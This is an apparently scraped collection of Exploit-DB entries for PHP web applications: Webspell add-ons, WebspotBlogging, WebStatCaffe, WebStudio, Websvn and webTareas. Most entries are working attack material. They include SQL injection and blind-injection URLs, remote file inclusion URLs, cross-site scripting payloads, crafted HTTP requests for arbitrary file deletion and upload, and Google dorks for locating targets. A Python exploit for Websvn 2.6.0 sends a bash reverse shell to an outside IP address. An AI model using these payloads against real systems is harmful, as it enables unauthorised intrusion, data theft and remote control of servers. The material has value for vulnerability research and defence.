deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15153
Description: Webspell 4.x - safe_query Bypass
Type: webapps
Platform: php
Date: 2010-09-29
Author: silent vapor

Exploit:
################# INFORMATION ##################################################
+Name : Webspell 4.X safe_query bypass Vulnerability
+Author : silent vapor
+Date   : 29.09.2010
+Script  : webspell
+Price : free
+Language :PHP
+Discovered by silent vapor
+Underground Agents
+Greetz to Team-Internet, 4004-Security-Project, Easy Laster
################################################################################

+Vulnerability : webspell_settings.php "function safe_query"

+Exploitable   : %20UNION+/**/+SELECT%20

################################################################################
Exploit-DB #19031
Description: Webspell dailyinput Movie Addon 4.2.x - SQL Injection
Type: webapps
Platform: php
Date: 2012-06-10
Author: Easy Laster

Exploit:
========================================================================================
| # Title    : Webspell 4.2.x dailyinput Movie-Addon SQL Injection Vulnerability
| # Author   : Easy Laster
| # Script   : Webspell 4.2.x dailyinput Movie-Addon
| # Site     : www.kode-designs.com 
| # Download : www.setgaming.de/index.php?site=files&file=26
| # Demo     : www.setgaming.de/index.php?site=videos
| # Price    : free
| # Exploitation : Remote SQL Vulnerability
| # Bug      : Remote SQL Vulnerability
| # Date     : 08.06.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, ezah, Manifest
======================        Proof of Concept         =================================
  
  
  [+] Introduction
    
   dailyinput Movie-Addon is a Addon for the Webspell Web Application the Content Management 
   System. In this Addon we found a Remote SQL Injection vulnerability.The Movie file
   is Vulnerable and a high risk Bug.The Vulnerability is Not fixed from the coder.The most  
   Webspell Webapplication has a Security System in the Webspell core self.You must bypass 
   the core from Webspell Security System (globalskiller).
   
  
  [+] Vulnerability
  
    http://[host]/[path]/index.php?site=videos&action=detail&id=2&portal=[vul]
  
  [+] Exploit
    
    http://[host]/[path]/index.php?site=videos&action=detail&id=2&portal=1+order+by+5--+
    http://[host]/[path]/index.php?site=videos&action=detail&id=2&portal=1+order+by+4--+
  
  [+] Fix
  
    No fix.
Exploit-DB #19011
Description: Webspell FIRSTBORN Movie-Addon - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-06-08
Author: Easy Laster

Exploit:
========================================================================================
| # Title    : Webspell FIRSTBORN Movie-Addon Blind SQL Injection Vulnerability
| # Author   : Easy Laster
| # Script   : Webspell FIRSTBORN Movie-Addon
| # Site     : www.firstborn.de
| # Price    : free
| # Exploitation : Remote Blind SQL Vulnerability
| # Bug      : Remote Blind SQL Vulnerability
| # Date     : 08.06.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, ezah, Manifest
======================        Proof of Concept         =================================
  
  
  [+] Introduction
    
   FIRSTBORN Movie-Addon is a Addon for the Webspell Web Application for Content Management 
   System. In this Addon we found a Remote Blind SQL Injection vulnerability.The Movie file
   is Vulnerable and a high risk Bug.The Vulnerability is Not fixed from the coder.The most  
   Webspell Webapplication has a Security System in the Webspell core self.You must bypass 
   the core from Webspell Security System (globalskiller).
   
  
  [+] Vulnerability
  
    http://[host]/[path]/index.php?site=movies&action=show&id=[vul]
  
  [+] Exploit
    
    http://[host]/[path]/index.php?site=movies&action=show&id=1+and+1=1--+
    http://[host]/[path]/index.php?site=movies&action=show&id=1+and+1=2--+ 
  
  [+] Fix
  
    No fix.
Exploit-DB #27114
Description: WebspotBlogging 3.0 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-19
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16319/info

WebspotBlogging is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept example is available:
http://www.example.com/webspot/login.php
Username: aaaa' union select 1,2,3,1,1,6, 7/*
Password: any
Exploit-DB #1871
Description: WebspotBlogging 3.0.1 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-03
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Webspotblogging 3.0.1 (path) <= Remote File Include Vulnerability
$$  Script site: http://blogging.webspot.co.uk/
$$  dork: Powered by WebspotBlogging
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
inc/logincheck.inc.php:
[code]
....
include($path."inc/footer.inc.php");
exit();
 }
....
[/code]
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 And more verbs in
 inc/adminheader.inc.php
 inc/global.php
 inc/mainheader.inc.php
*/

Expl:

http://www.site.com/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/global.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-03]
Exploit-DB #34674
Description: WebStatCaffe - '/stat/mostvisitpage.php?nodayshow' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info

Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/webstat/stat/mostvisitpage.php?nopagesmost=10&nodayshow=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #34676
Description: WebStatCaffe - '/stat/mostvisitpagechart.php?nopagesmost' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info
  
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/webstat/stat/pageviewerschart.php?date=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #34677
Description: WebStatCaffe - '/stat/pageviewers.php?date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info
   
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/webstat/stat/pageviewers.php?date=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #34678
Description: WebStatCaffe - '/stat/pageviewerschart.php?date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info
    
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/webstat/stat/pageviewerschart.php?date=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #34679
Description: WebStatCaffe - '/stat/referer.php?date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info
     
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/webstat/stat/referer.php?date=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #34675
Description: WebStatCaffe - '/stat/visitorduration.php?nodayshow' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43339/info
 
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/webstat/stat/visitorduration.php?nodayshow=1>&#039;><ScRiPt %0A%0D>alert[PII_REDACTED]47)%3B</ScRiPt>
Exploit-DB #30143
Description: WebStudio CMS - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-04
Author: Glafkos Charalambous

Exploit:
source: https://www.securityfocus.com/bid/24297/info

WebStudio CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/?pageid=-->[XSS] 
http://www.example.com/?pageid=email@address.com[XSS]domain.com 
http://www.example.com/?pageid=[XSS] 
http://www.example.com/index.php?pageid=>'>[XSS] 
http://www.example.com/index.php?pageid=[XSS] 
http://www.example.com/index.php?pageid=[XSS] 
http://www.example.com/index.php?pageid=-->[XSS] 
http://www.example.com/index.php?pageid=email@address.com[XSS]domain.com 
http://www.example.com/index.php?pageid=[XSS]
Exploit-DB #7216
Description: WebStudio CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-24
Author: Glafkos Charalambous

Exploit:
Application:  WebStudio CMS

 

Vendor Name: BDigital Media Ltd

 

Vendors Url:  http://www.bdigital.biz

 

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

 

Exploitation: Remote

 

Severity: Critical

 

Solution Status: Unpatched 

 

Introduction: WebStudio CMS is a modular Web Content Management System
solution.

 

Google Dork:  "Powered by WebStudio"

 

 

Description:

 

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying
database.

 

PoC:

 

http://localhost/index.php?pageid=1+and+1=1 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+1=2 ( FALSE )

 

Exploit:

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )

 

Solution:

 

There was no vendor-supplied solution at the time of entry.

 

Edit source code manually to ensure user-supplied input is correctly
sanitised.

 

 

Credits:

 

Charalambous Glafkos

Email:  glafkos (at) astalavista (dot) com

___________________________________________

ASTALAVISTA - the hacking & security community

www.astalavista.com

www.astalavista.net

# milw0rm.com [2008-11-24]
Exploit-DB #7223
Description: WebStudio eCatalogue - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-25
Author: Hussin X

Exploit:
WebStudio eCatalogue (pageid)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.bdigital.biz/index.php?pageid=218

DorK : ""Powered by WebStudio eCatalogue""

Demo :
_______


http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=3
( TRUE  )



http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=4
( FALSE )



http://webstudioecatalogue.com/index.php?pageid=50+and+substring(@@version,1,1)=5
( FALSE )




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-25]
Exploit-DB #7222
Description: WebStudio eHotel - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-25
Author: Hussin X

Exploit:
WebStudio eHotel (pageid)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.bdigital.biz/index.php?pageid=216

DorK : "Powered by WebStudio eHotel"

Demo :
_______


http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=3
( TRUE  )



http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=4
( FALSE )



http://www.webstudioehotel.com/index.php?pageid=50+and+substring(@@version,1,1)=5
( FALSE )




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-25]
Exploit-DB #50042
Description: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-06-21
Author: g0ldm45k

Exploit:
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")
Exploit-DB #48430
Description: webTareas 2.0.p8 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2020-05-06
Author: Besim

Exploit:
# Exploit Title: webTareas 2.0.p8 - Arbitrary File Deletion
# Date: 2020-05-02
# Author: Besim ALTINOK
# Vendor Homepage: https://sourceforge.net/projects/webtareas/files/
# Software Link: https://sourceforge.net/projects/webtareas/files/
# Version: v2.0.p8
# Tested on: Xampp
# Credit: İsmail BOZKURT


Description:
--------------------------------------------------------------------------------------

- print_layout.php is vulnerable. When you sent PoC code to the server and
If there is no file on the server, you can see, this error message

<br />
<b>Warning</b>:
 unlink(/Applications/XAMPP/xamppfiles/htdocs/webtareas/files/PrintLayouts/tester.png.php--1.zip):
No such file or directory in
<b>/Applications/XAMPP/xamppfiles/htdocs/webtareas/includes/library.php</b>
on line <b>1303</b><br />

- So, Here, you can delete file with unlink function.
- And, I ddi try again with another file, I deleted from the server.
--------------------------------------------------------------------------------------------

Arbitrary File Deletion PoC
---------------------------------------------------------------------------------------

POST
/webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&id=1&mode=edit&borne1=0
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ***********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&mode=edit&borne1=0&id=1
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Length: 882
DNT: 1
Connection: close
Cookie: webTareasSID=4b6a4799c9e7906a06c574dc48ffb730;
PHPSESSIDwebERPteam=9b2b068ea2de93ed1ee0aafe27818191
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="action"

edit
----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="desc"

<p>tester</p>
----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="attnam1"


----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="atttmp1"

--add the delete file name here--
----------------------------[PII_REDACTED][PII_REDACTED]84647942
Content-Disposition: form-data; name="sp"


----------------------------[PII_REDACTED][PII_REDACTED]84647942--
Exploit-DB #48709
Description: Webtareas 2.1p - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2020-07-26
Author: AppleBois

Exploit:
# Exploit Title: Webtareas 2.1p - Arbitrary File Upload (Authenticated)
# Author: AppleBois
# Date: 2020-07-10
# Exploit author : AppleBois
# Vendor Hompage:https://sourceforge.net/projects/webtareas/
# Version: 2.1 && 2.1p
# Tested on: Window 10 64 bit environment || XAMPP
# Authenticated User allowed to upload ".exe" and ".shtml" to file uploaded directory
# More information : https://medium.com/@tehwinsam/webtareas-2-1-c8b406c68c2a

POST /Tareas/webtareas/linkedcontent/addfile.php?doc_type=0&doc_type_ex=&doc_id=1&borne15=0&borne16=0 HTTP/1.1
Host: 10.10.10.2:81
Content-Length: 711
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.2:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHtJ36OtVyQuyaY6y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.2:81/Tareas/webtareas/linkedcontent/addfile.php?doc_type=0&doc_id=1&borne15=0&borne16=0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: webTareasSID=vqg1lbhf9g5esjrie84dsrjjhg; ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC[PII_REDACTED]46773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70
Connection: close

------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="action"

add
------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="attnam1"

a.shtml
------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="atttmp1"

C:/xampp/htdocs/Tareas/webtareas/files/tmpEDE7.tmp
------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="c"


------WebKitFormBoundaryHtJ36OtVyQuyaY6y
Content-Disposition: form-data; name="ver"

1.0
------WebKitFormBoundaryHtJ36OtVyQuyaY6y--